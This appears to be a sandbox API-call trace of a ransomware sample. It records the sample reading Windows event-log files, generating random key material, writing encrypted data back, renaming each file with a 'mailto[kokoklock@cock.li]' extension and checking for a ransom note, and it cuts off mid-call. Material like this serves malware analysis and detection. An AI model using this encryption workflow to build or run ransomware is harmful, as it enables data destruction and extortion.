[0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0xa074eb7b [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0x2bf144a4 [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0xc026be54 [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0x1229b8db [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0xc61a4f3a [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0x687d30e5 [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0x242061ec [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0xe9974968 [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0xac565c41 [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0xa8d0a4d6 [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0x75ea19bf [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0xbe08f911 [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0xdcbd3e98 [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0x4284d729 [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0x265f35df [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0xa6744181 [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0xa67b95fc [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0x7c1c1e94 [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0x9b9827f4 [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0x8318a424 [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0x7007dbc8 [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0x9e9f85d7 [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0xa7370a98 [0164.067] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0x72cd6b28 [0164.068] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0x2f7b618e [0164.068] RtlRandom (in: Seed=0x606f93c | out: Seed=0x606f93c) returned 0xe6bd100d [0164.076] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8aab8 [0164.077] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f6ac50 [0164.077] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a680 [0164.078] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ac50) returned 1 [0164.078] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac70) returned 1 [0164.078] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc2fb0 [0164.078] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.078] ReadFile (in: hFile=0x49c, lpBuffer=0x2fc2fb0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x606f908, lpOverlapped=0x0 | out: lpBuffer=0x2fc2fb0*, lpNumberOfBytesRead=0x606f908*=0x4096, lpOverlapped=0x0) returned 1 [0164.079] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.079] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87278 [0164.079] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f6ac50 [0164.079] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac70 [0164.079] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac70) returned 1 [0164.079] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc7050 [0164.079] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac70 [0164.079] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a5b8 [0164.079] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a5b8) returned 1 [0164.079] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ac50) returned 1 [0164.079] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87278) returned 1 [0164.079] WriteFile (in: hFile=0x49c, lpBuffer=0x2fc7050*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x606f908, lpOverlapped=0x0 | out: lpBuffer=0x2fc7050*, lpNumberOfBytesWritten=0x606f908*=0x4096, lpOverlapped=0x0) returned 1 [0164.080] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc7050) returned 1 [0164.080] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.080] WriteFile (in: hFile=0x49c, lpBuffer=0x2f8ac70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x606f940, lpOverlapped=0x0 | out: lpBuffer=0x2f8ac70*, lpNumberOfBytesWritten=0x606f940*=0x20, lpOverlapped=0x0) returned 1 [0164.080] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac70) returned 1 [0164.080] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc2fb0) returned 1 [0164.080] WriteFile (in: hFile=0x49c, lpBuffer=0x2f8a680*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x606f954, lpOverlapped=0x0 | out: lpBuffer=0x2f8a680*, lpNumberOfBytesWritten=0x606f954*=0x8, lpOverlapped=0x0) returned 1 [0164.080] WriteFile (in: hFile=0x49c, lpBuffer=0x606f96c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x606f954, lpOverlapped=0x0 | out: lpBuffer=0x606f96c*, lpNumberOfBytesWritten=0x606f954*=0x4, lpOverlapped=0x0) returned 1 [0164.081] WriteFile (in: hFile=0x49c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x606f954, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x606f954*=0x4, lpOverlapped=0x0) returned 1 [0164.081] WriteFile (in: hFile=0x49c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x606f954, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x606f954*=0x6c, lpOverlapped=0x0) returned 1 [0164.081] WriteFile (in: hFile=0x49c, lpBuffer=0x2f8ac98*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x606f954, lpOverlapped=0x0 | out: lpBuffer=0x2f8ac98*, lpNumberOfBytesWritten=0x606f954*=0x20, lpOverlapped=0x0) returned 1 [0164.081] WriteFile (in: hFile=0x49c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x606f954, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x606f954*=0x4, lpOverlapped=0x0) returned 1 [0164.081] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac98) returned 1 [0164.081] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8aab8) returned 1 [0164.081] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a680) returned 1 [0164.081] CloseHandle (hObject=0x49c) returned 1 [0164.081] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2f7c610 [0164.081] wcscpy (in: _Dest=0x2f7c610, _Source="C:\\Logs\\Key Management Service.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Key Management Service.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Key Management Service.evtx.mailto[kokoklock@cock.li].d0e731" [0164.081] wcscat (in: _Dest=0x2f7c610, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Key Management Service.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Key Management Service.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.081] MoveFileW (lpExistingFileName="C:\\Logs\\Key Management Service.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\key management service.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Key Management Service.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\key management service.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.082] SetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.082] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7c610) returned 1 [0164.082] SetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.082] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f80860 [0164.082] wcscpy (in: _Dest=0x2f80860, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.083] wcscat (in: _Dest=0x2f80860, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.083] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.083] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80860) returned 1 [0164.083] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8d860) returned 1 [0164.083] RtlExitUserThread (Status=0x1) Thread: id = 1506 os_tid = 0xe64 [0164.087] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.087] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.087] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0164.087] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x60ef86c | out: lpFileSize=0x60ef86c*=69824) returned 1 [0164.088] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.088] ReadFile (in: hFile=0x49c, lpBuffer=0x60ef840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x60ef83c, lpOverlapped=0x0 | out: lpBuffer=0x60ef840*, lpNumberOfBytesRead=0x60ef83c*=0x4, lpOverlapped=0x0) returned 1 [0164.089] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.089] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a630 [0164.089] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a7c0 [0164.089] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a680 [0164.089] NtQuerySystemTime (in: CurrentTime=0x60ef818 | out: CurrentTime=0x60ef818*=132121213213965649) returned 0x0 [0164.089] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0x5adfa137 [0164.089] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0x994e48f5 [0164.089] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0x34616afc [0164.089] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0x8f9564ca [0164.089] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0x485c5b93 [0164.089] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0xc5dc4265 [0164.089] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0xa3fdd4ea [0164.089] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0xb362f62f [0164.089] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0xec236824 [0164.089] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0xbaa8b08f [0164.089] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0x7659b240 [0164.089] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0x2b4b82b3 [0164.089] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0xf8bac07 [0164.089] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0x45ba0645 [0164.089] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0xbf24dbd7 [0164.089] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0x895212f3 [0164.089] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0x44f4193c [0164.089] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0x8fc6f044 [0164.089] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0x4fa5d293 [0164.089] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0x6510e5c8 [0164.089] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0x96f9320f [0164.090] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0x13c29517 [0164.090] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0x487cb2a6 [0164.090] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0x94d6693c [0164.090] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0x980c47a6 [0164.090] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0x81265a72 [0164.090] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0xad858551 [0164.090] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0xff007fed [0164.090] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0x1aa143aa [0164.090] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0x59f5ac29 [0164.090] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0x7b28bed8 [0164.090] RtlRandom (in: Seed=0x60ef824 | out: Seed=0x60ef824) returned 0x20562c [0164.098] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a860 [0164.100] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f6ac50 [0164.100] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a888 [0164.100] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ac50) returned 1 [0164.100] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a630) returned 1 [0164.100] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc2fb0 [0164.100] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.100] ReadFile (in: hFile=0x49c, lpBuffer=0x2fc2fb0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x60ef7f0, lpOverlapped=0x0 | out: lpBuffer=0x2fc2fb0*, lpNumberOfBytesRead=0x60ef7f0*=0x4096, lpOverlapped=0x0) returned 1 [0164.101] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.101] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0164.101] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f6ac50 [0164.101] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a770 [0164.101] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a770) returned 1 [0164.101] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc7050 [0164.101] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6a8 [0164.101] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6d0 [0164.102] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6d0) returned 1 [0164.102] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ac50) returned 1 [0164.102] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0164.102] WriteFile (in: hFile=0x49c, lpBuffer=0x2fc7050*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x60ef7f0, lpOverlapped=0x0 | out: lpBuffer=0x2fc7050*, lpNumberOfBytesWritten=0x60ef7f0*=0x4096, lpOverlapped=0x0) returned 1 [0164.102] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc7050) returned 1 [0164.102] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.102] WriteFile (in: hFile=0x49c, lpBuffer=0x2f8a6a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60ef828, lpOverlapped=0x0 | out: lpBuffer=0x2f8a6a8*, lpNumberOfBytesWritten=0x60ef828*=0x20, lpOverlapped=0x0) returned 1 [0164.102] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6a8) returned 1 [0164.102] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc2fb0) returned 1 [0164.102] WriteFile (in: hFile=0x49c, lpBuffer=0x2f8a888*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x60ef83c, lpOverlapped=0x0 | out: lpBuffer=0x2f8a888*, lpNumberOfBytesWritten=0x60ef83c*=0x8, lpOverlapped=0x0) returned 1 [0164.102] WriteFile (in: hFile=0x49c, lpBuffer=0x60ef854*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60ef83c, lpOverlapped=0x0 | out: lpBuffer=0x60ef854*, lpNumberOfBytesWritten=0x60ef83c*=0x4, lpOverlapped=0x0) returned 1 [0164.103] WriteFile (in: hFile=0x49c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60ef83c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x60ef83c*=0x4, lpOverlapped=0x0) returned 1 [0164.103] WriteFile (in: hFile=0x49c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x60ef83c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x60ef83c*=0x6c, lpOverlapped=0x0) returned 1 [0164.103] WriteFile (in: hFile=0x49c, lpBuffer=0x2f8a7c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60ef83c, lpOverlapped=0x0 | out: lpBuffer=0x2f8a7c0*, lpNumberOfBytesWritten=0x60ef83c*=0x20, lpOverlapped=0x0) returned 1 [0164.103] WriteFile (in: hFile=0x49c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60ef83c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x60ef83c*=0x4, lpOverlapped=0x0) returned 1 [0164.103] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a7c0) returned 1 [0164.103] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a860) returned 1 [0164.103] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a888) returned 1 [0164.103] CloseHandle (hObject=0x49c) returned 1 [0164.103] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf4) returned 0x2f84e18 [0164.103] wcscpy (in: _Dest=0x2f84e18, _Source="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0164.103] wcscat (in: _Dest=0x2f84e18, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.103] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0165.222] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0165.222] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84e18) returned 1 [0165.222] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0165.222] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f7fea0 [0165.222] wcscpy (in: _Dest=0x2f7fea0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.223] wcscat (in: _Dest=0x2f7fea0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0165.223] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0165.223] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7fea0) returned 1 [0165.223] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6bff8) returned 1 [0165.223] RtlExitUserThread (Status=0x1) Thread: id = 1507 os_tid = 0xe68 [0164.123] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.123] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.124] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.124] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x616f8ec | out: lpFileSize=0x616f8ec*=69824) returned 1 [0164.124] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.124] ReadFile (in: hFile=0x4a0, lpBuffer=0x616f8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x616f8bc, lpOverlapped=0x0 | out: lpBuffer=0x616f8c0*, lpNumberOfBytesRead=0x616f8bc*=0x4, lpOverlapped=0x0) returned 1 [0164.125] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.125] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a8d8 [0164.125] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a630 [0164.125] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a7c0 [0164.125] NtQuerySystemTime (in: CurrentTime=0x616f898 | out: CurrentTime=0x616f898*=132121213214434179) returned 0x0 [0164.125] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0xa46481a6 [0164.125] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0x66e2a05a [0164.125] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0x99232bc [0164.125] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0x9d78a708 [0164.125] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0x888abdb [0164.125] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0x67ab2b90 [0164.125] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0x68e08a95 [0164.125] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0x3aba4e0e [0164.125] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0xda4b39cb [0164.125] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0x3d511f0a [0164.125] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0x88925588 [0164.125] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0x45501cac [0164.125] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0x60f1872d [0164.125] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0x51e89b16 [0164.125] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0xc11abbe1 [0164.125] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0x32d83fe3 [0164.125] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0xd0037fbb [0164.126] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0xe219fc63 [0164.126] RtlRandom (in: Seed=0x616f8a4 | out: Seed=0x616f8a4) returned 0x9e136f4b [0164.126] RtlRandom (in: Seed=0x616f8a4 | out: 